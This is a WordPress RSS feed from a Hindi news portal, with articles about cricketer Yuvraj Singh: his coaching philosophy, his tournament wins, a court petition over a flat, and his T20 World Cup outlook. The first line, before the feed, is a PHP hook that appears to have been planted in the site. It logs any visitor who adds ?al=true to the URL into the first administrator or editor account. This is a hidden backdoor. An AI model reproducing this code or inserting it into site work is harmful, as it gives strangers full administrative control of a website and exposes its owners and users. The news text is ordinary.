// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Yuvraj Singh – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 06 Nov 2025 11:24:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मैं पिता जैसा सख्त नहीं, मेरा तरीका अलग है: युवराज सिंह https://pratyushaashakinayikiran.com/?p=189589 Thu, 06 Nov 2025 11:24:00 +0000 https://pratyushaashakinayikiran.com/?p=189589 नई दिल्ली 
भारत के पूर्व ऑलराउंडर युवराज सिंह ने कहा कि उनकी कोचिंग स्टाइल उनके पिता योगराज सिंह से बिल्कुल अलग है। उन्होंने कहा कि वह किसी खिलाड़ी पर अपने विचार थोपने में विश्वास नहीं रखते, बल्कि उसकी सोच और परिस्थितियों को समझना ज़रूरी मानते हैं। 

“जब मैं 19 साल का था, किसी ने मेरी चुनौतियां नहीं समझीं”
युवराज ने कहा कि जब वह खुद 19 साल के थे, तब उन्हें मानसिक रूप से कई मुश्किलों का सामना करना पड़ा। उन्होंने बताया कि आज जब वह 19 या 20 साल के खिलाड़ियों जैसे शुभमन गिल और अभिषेक शर्मा के साथ काम करते हैं, तो उन्हें अपनी पुरानी यादें याद आती हैं। वह कहते हैं, 'मैं जानता हूं कि इस उम्र में खिलाड़ी के दिमाग में क्या चलता है — इसलिए पहले सुनो, फिर सिखाओ।'

कोच नहीं, मेंटर बनने में विश्वास रखते हैं युवराज
युवराज ने कहा कि कोच का काम सिर्फ तकनीक सिखाना नहीं है, बल्कि खिलाड़ी के आत्मविश्वास को मजबूत करना भी है। उन्होंने बताया कि क्रिकेट मानसिक मजबूती का खेल है, इसलिए वह कोशिश करते हैं कि हर खिलाड़ी मैदान में सहज और आत्मविश्वासी महसूस करे। युवराज ने कहा कि असली कोचिंग तब होती है जब खिलाड़ी खुद अपनी गलतियों को पहचानना सीख जाए।

योगराज की सख्ती, युवराज की सहानुभूति
युवराज ने स्वीकार किया कि उनके पिता योगराज सिंह बेहद सख्त कोच रहे हैं। उन्होंने कभी हार या ढिलाई को बर्दाश्त नहीं किया। लेकिन युवराज ने कहा कि उन्होंने अपने पिता से अनुशासन तो सीखा, मगर अपने तरीके में भावनात्मक जुड़ाव और सहजता जोड़ी। 'मैं पिता जैसा नहीं हूं। मैं चाहता हूं कि खिलाड़ी खेल का मज़ा लें और खुद सोचें' उन्होंने कहा।

वर्ल्ड कप हीरो अब युवाओं के ‘मेंटॉर’
युवराज सिंह ने अपने करियर में कई ऐतिहासिक पल दिए, 2000 में अंडर-19 वर्ल्ड कप जीतने वाली टीम का हिस्सा बने, 2007 टी20 वर्ल्ड कप में इंग्लैंड के खिलाफ छह छक्के जड़े, और 2011 वर्ल्ड कप में ‘प्लेयर ऑफ द सीरीज़’ बने। कैंसर जैसी बीमारी से लड़कर वापसी करने वाले युवराज अब अगली पीढ़ी के खिलाड़ियों को सिखा रहे हैं कि जीत का रास्ता 'समझ और संयम' से होकर गुजरता है।

 

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WCL Trophy पर किया कब्जा, युवराज सिंह ने अपने करियर में जीते हैं 13 बड़े टूर्नामेंट https://pratyushaashakinayikiran.com/?p=51297 Sun, 14 Jul 2024 18:49:00 +0000 https://pratyushaashakinayikiran.com/?p=51297 नई दिल्ली
बड़े मैच का बड़ा खिलाड़ी युवराज सिंह को कहा जाता है, क्योंकि वे जब भारतीय टीम के लिए खेलते थे तो उनके लिए यह लाइन उपयोग की जाती थी। उन्होंने कई अहम मैचों में टीम इंडिया को जीत दिलाई थी। युवराज सिंह की महानता का अंदाजा इसी बात से लगाया जा सकता है कि जब भारत ने 28 साल के बाद 2011 में वनडे विश्व कप जीता था तो उसमें प्लेयर ऑफ द मैच रहे थे। 2007 में पहले टी20 विश्व कप चैंपियन बनने वाली भारतीय टीम का भी वे हिस्सा रहे थे। उस टूर्नामेंट में उन्होंने एक ही ओवर में 6 छक्के जड़ने का करिश्मा भी किया था। वे एक दर्जन से ज्यादा टूर्नामेंट जीत चुके हैं।

युवराज सिंह ने अपने करियर में तीन वर्ल्ड कप और एक आईसीसी चैंपियंस ट्रॉफी के अलावा आईपीएल ट्रॉफी समेत कई बड़े घरेलू टूर्नामेंट बतौर खिलाड़ी या कप्तान रहते हुए जीते हैं। युवी ने U19 वर्ल्ड कप, टी20 वर्ल्ड कप और वनडे वर्ल्ड कप जीता था। वे आईसीसी चैंपियंस ट्रॉफी जीतने वाली टीम के सदस्य भी रहे हैं। आईपीएल ट्रॉफी भी उन्होंने जीती है और दिलीप ट्रॉफी पर भी उनकी टीम ने कब्जा जमाया था। साल्वे चैलेंजर्स ट्रॉफी भी वे अपने दिनों में जीत चुके हैं। इसके अलावा बीसीसीआई कॉर्पोरेट ट्रॉफी भी उन्होंने अपनी टीम को दिलाई हुई है।
 
बाएं हाथ के इस बल्लेबाज ने ईरानी कप, टी10 लीग और रोड सेफ्टी वर्ल्ड सीरीज भी जीती हुई है। वहीं, अब उन्होंने वर्ल्ड चैंपियनशिप ऑफ लेजेंड्स ट्रॉफी पर कब्जा किया है। इंडिया लेजेंड्स और पाकिस्तान लेजेंड्स के बीच खिताबी मैच खेला गया था, जिसमें भारतीय टीम ने जीत हासिल की थी। इस टीम के कप्तान युवराज सिंह थे। इस तरह युवराज सिंह ने अपने करियर में एक दर्जन से ज्यादा बड़े टूर्नामेंट जीते हैं। इस टूर्नामेंट में भी युवराज सिंह ने सेमीफाइनल में ऑस्ट्रेलिया के सामने तूफानी बल्लेबाजी की थी और फाइनल में वे आखिरी तक नाबाद रहे थे।

 

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दिल्ली हाई कोर्ट ने पूर्व क्रिकेटर युवराज सिंह की याचिका पर एक रियल स्टेट कंपनी को नोटिस जारी किया https://pratyushaashakinayikiran.com/?p=49575 Tue, 09 Jul 2024 15:17:00 +0000 https://pratyushaashakinayikiran.com/?p=49575 नई दिल्ली
दिल्ली हाई कोर्ट ने मंगलवार को पूर्व क्रिकेटर युवराज सिंह की याचिका पर एक रियल स्टेट कंपनी को नोटिस जारी किया। भारत को 2011 में वर्ल्ड कप जितवाने में अहम भूमिका निभाने वाले युवराज सिंह ने अदालत से मांग की है कि विवाद के निपटारे के लिए आर्बिट्रेटर की नियुक्ति की जाए। जस्टिस हरि शंकर ने याचिका पर संक्षिप्त सुनवाई की और ब्रिलियंट एटोइल प्राइवेट लिमिटेड से जवाब मांगा।

बार एंड बेंच की रिपोर्ट के मुताबिक, युवराज सिंह ने आरोप लगाया कि कंपनी ने उन्हें फ्लैट देने में देरी की और इसकी गुणवत्ता भी खराब है। युवराज सिंह ने दिल्ली के हौज खास में इस कंपनी का फ्लैट 2021 में बुक किया था। उस समय उसकी कीमत 14.10 करोड़ रुपए बताई गई थी। पूर्व क्रिकेटर को नवंबर 2023 में फ्लैट का पजेशन मिला, लेकिन जब वह प्रॉपर्टी को देखने पहुंचे तो इसकी गुणवत्ता कमतर थी।

युवराज सिंह ने कहा है कि बिल्डर ने गुणवत्ता से समझौता किया और फिटिंग, लाइटिंग आदि खराब है। उन्होंने डिलीवरी में देरी और खराब गुणवत्ता के लिए क्षतिपूर्ति की मांग की है। युवराज सिंह ने पर्सनैलिटी राइट्स के उल्लंघन का भी आरोप लगाया है और कहा कि डिवेलपर ने उनके ब्रैंड वैल्यू का दुरुपयोग किया। उन्होंने एमओयू की शर्तों के उल्लंघन का आरोप लगाया है। उनका कहना है कि शर्त के मुताबिक प्रॉजेक्ट को प्रमोट करने के लिए नवंबर 2023 के बाद उनका चेहरे का इस्तेमाल नहीं किया जा सकता था।  

युवराज ने कहा कि है कि बिल्डर की ओर से अभी भी उनकी तस्वीरों का इस्तेमाल बिलबोर्ड्स, प्रॉजेक्ट साइट, सोशल मीडिया और आर्टिकल में किया जा रहा है, जबकि एमओयू की अवधि खत्म हो चुकी है। युवराज सिंह की तरफ से वकील रिजवान ने दलीलें पेश कीं। रियल स्टेट कंपनी की प्रतिक्रिया अभी सामने नहीं आई है।

 

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युवराज सिंह का मानना है कि भारतीय टीम में कौशल और आत्मविश्वास की कोई कमी नहीं https://pratyushaashakinayikiran.com/?p=37101 Sun, 02 Jun 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=37101 न्यूयॉर्क
अपनी आक्रामक बल्लेबाजी के लिए मशहूर रहे युवराज सिंह का मानना है कि भारतीय टीम में कौशल और आत्मविश्वास की कोई कमी नहीं है। उन्होंने कहा कि अगर भारत टी20 वर्ल्ड कप 2024 में विरोधी टीम पर ध्यान देने के बजाए अपनी क्षमता के साथ खेले तो आईसीसी ट्रॉफी जीतने का लंबा इंतजार खत्म कर सकता है। भारत ने अपना अंतिम आईसीसी टूर्नामेंट 2013 में चैंपियंस ट्रॉफी के रूप में जीता था। इससे दो साल पहले युवराज के शानदार प्रदर्शन से भारत ने वनडे वर्ल्ड कप जीता था।

भारत ने 2007 में पहला टी20 वर्ल्ड कप भी जीता था जिसमें युवराज ने इंग्लैंड के खिलाफ लीग मैच में तेज गेंदबाज स्टुअर्ट ब्रॉड के ओवर में छह छक्के लगाए थे। युवराज से जब भारत के पिछले एक दशक से भी अधिक समय से आईसीसी ट्रॉफी नहीं जीत पाने के बारे में पूछा गया तो उन्होंने कहा, ''मेरा मानना है कि बड़े टूर्नामेंट जीतने के लिए हमारे पास आत्मविश्वास है। अगर भारत खुद पर विश्वास रखे और अपनी पूरी क्षमता से खेले तो वह खिताब जीत सकता है।''

टी20 वर्ल्ड कप के लिए आईसीसी के एंबेसडर युवराज ने कहा, ''अतीत में हमने इन्हीं चीजों पर गौर करके जीत हासिल की। हमने अपने मजबूत पक्षों पर ध्यान दिया। हमें इस पर ध्यान नहीं देना चाहिए कि विपक्षी टीम हमें कहां नुकसान पहुंचा सकती है। हमें अपने मजबूत पक्षों पर गौर करना होगा। हमारे पास कई मैच विजेता खिलाड़ी हैं।'' उन्होंने कहा, ''आईसीसी वर्ल्ड कप की तैयारी के लिए आईपीएल सबसे बेहतरीन मंच है और मुझे पूरी आशा है कि यह शानदार टूर्नामेंट होगा।''

युवराज ने कहा, ''अगर भारत जीतता है तो यह हमारे लिए शानदार पल होगा। भारत को आईसीसी ट्रॉफी जीते हुए लंबा समय हो गया है। उम्मीद है कि इस बार हमारी टीम यह इंतजार खत्म कर देगी।'' अमेरिका और वेस्टइंडीज टी20 वर्ल्ड कप की संयुक्त मेजबानी कर रहे हैं। युवराज से पूछा गया कि कौन सी टीमें फाइनल में जगह बना सकती हैं, उन्होंने कहा, ''मेरी उम्मीद है कि भारत और संभवत वेस्टइंडीज या पाकिस्तान लेकिन ऑस्ट्रेलिया नहीं।''

 

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